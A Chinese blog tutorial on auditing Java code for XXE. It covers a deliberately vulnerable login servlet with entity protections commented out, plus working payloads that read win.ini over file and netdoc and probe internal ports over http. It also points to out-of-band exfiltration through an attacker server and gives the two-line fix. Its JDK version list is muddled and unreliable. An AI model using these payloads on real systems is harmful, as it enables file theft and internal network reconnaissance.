当前位置:   article > 正文

java代码审计9之XXE_xxe代码审计时常用的敏感函数

xxe代码审计时常用的敏感函数

之前的文章,
php代码审计9之XXE

1、简介

XXE(XML外部实体注⼊,XML External Entity) ,在应⽤程序解析XML输⼊时,

当允许引⽤外部实体时,可构造恶意内容,

导致读取任意⽂件、探测内⽹端⼝、攻击内⽹⽹站、发起DoS拒绝服务攻击、 执⾏系统命令等。 
  • 1
  • 2
  • 3
  • 4
  • 5

Java中的XXE⽀持sun.net.www.protocol ⾥的所有协议:

http,https,file,ftp,mailto,jar, netdoc。

⼀般利⽤file协议读取⽂件,利⽤http协议探测内⽹,
  • 1
  • 2
  • 3

没有回显时可组合利⽤file协议和ftp协议来读取⽂件。

2、 java XXE审计函数

重点关注下边这些函数,

javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader

org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory

org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder

org.apache.commons.digester3.Digester
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
解析XML的⽅法越来越多,java中常⻅有四种,即:DOM、DOM4J、JDOM 和SAX。

下⾯以这四种为例展示java的XXE漏洞
  • 1
  • 2
  • 3

3、漏洞

3.1、正常的业务

模拟使用xml来传输登录信息,这是登录成功的情况,返回1
  • 1

在这里插入图片描述

登录失败,返回0,
  • 1

在这里插入图片描述

具体测试代码,
  • 1
package com.example;


import org.w3c.dom.Document;
import org.w3c.dom.NodeList;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import java.io.IOException;

@WebServlet("/xxe1")
public class xxe1Servlet extends HttpServlet {
    private static final String USERNAME = "admin";//账号
    private static final String PASSWORD = "admin";//密码
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String result="";
        try {
            //DOM Read XML
            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
     /*       dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);*/
            DocumentBuilder db = dbf.newDocumentBuilder();
            Document doc = db.parse(request.getInputStream());
            String username = getValueByTagName(doc,"username");
            String password = getValueByTagName(doc,"password");
            if(username.equals(USERNAME) && password.equals(PASSWORD)){
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
            }else{
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
            }
        } catch (ParserConfigurationException | org.xml.sax.SAXException e) {
            e.printStackTrace();
            result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
        }
        response.setContentType("text/xml;charset=UTF-8");
        response.getWriter().append(result);
    }
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        doPost(request, response);
    }

    /**
     *
     * @param doc 文档
     * @param tagName 标签名
     * @return 标签值
     */
    public static String getValueByTagName(Document doc, String tagName){
        if(doc == null || tagName.equals(null)){
            return "";
        }
        NodeList pl = doc.getElementsByTagName(tagName);
        if(pl != null && pl.getLength() > 0){
            return pl.item(0).getTextContent();
        }
        return "";
    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65

3.2、有回显的情况

通过上边的代码,可以看到,后端将传入的admin参数进行了回显输出,

下边是ftp、netdoc、http协议分别进行文件读取和内网端口探测的例子

此时就可以通过ftp协议读取服务器内容,然后利用用户名输出回显,
  • 1
  • 2
  • 3
  • 4
  • 5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<user><username>&xxe;</username><password>123456</password></user>
  • 1
  • 2
  • 3
  • 4
  • 5

通过netdoc协议读取,

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "netdoc:///C:/Windows/win.ini">
]>
<user><username>&xxe;</username><password>123456</password></user>
  • 1
  • 2
  • 3
  • 4
  • 5

在这里插入图片描述
类似的可以通过http协议探测内网,

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "http://127.0.0.1:8082">
]>
<user><username>&xxe;</username><password>123456</password></user>
  • 1
  • 2
  • 3
  • 4
  • 5
开放的端口,会返回一些内容,且响应较快,
  • 1

在这里插入图片描述

未开放的端口,返回报错信息,且响应较慢,
  • 1

在这里插入图片描述

3.3、无回显的情况

该方法的前提是,目标机器有出网权限。

直接vps起服务,让目标服务器来请求就ok了,建议实战使用

类似的,也可以直接让目标访问dnslog,实战不建议,会引发ioc的告警
  • 1
  • 2
  • 3
  • 4
  • 5

在这里插入图片描述

上边的方式仅仅是探测到目标存在XXE,如何将读取的内容传递过来呢,

这里就是Java的外带只有外带一行数据,无法像php一样,外带很多数据,

参考使用脚本,
	
	https://github.com/LandGrey/xxe-ftp-server
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

除非jdk版本小于 7u141 和 小于 8u162;具体有哪些版本

JDK版本号的命名规则是:
JDK1.x、JDK2.x、JDK3.x、JDK4.x、JDK5.x、JDK6.x、JDK7.x、JDK8.x、JDK9.x、JDK10.x和JDK11.x。

因此,
小于7u141的版本有:
JDK 6u20, JDK 6u22, JDK 6u23, JDK 6u25, JDK 6u26, JDK 6u27, JDK 6u28, JDK 6u29, JDK 6u30, JDK 6u31;
小于8u162的版本有:JDK 7u141。
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

3.4、修复

两行代码,禁用外部实体,

dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
  • 1
  • 2

在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/空白诗007/article/detail/827689
推荐阅读
相关标签
  

闽ICP备14008679号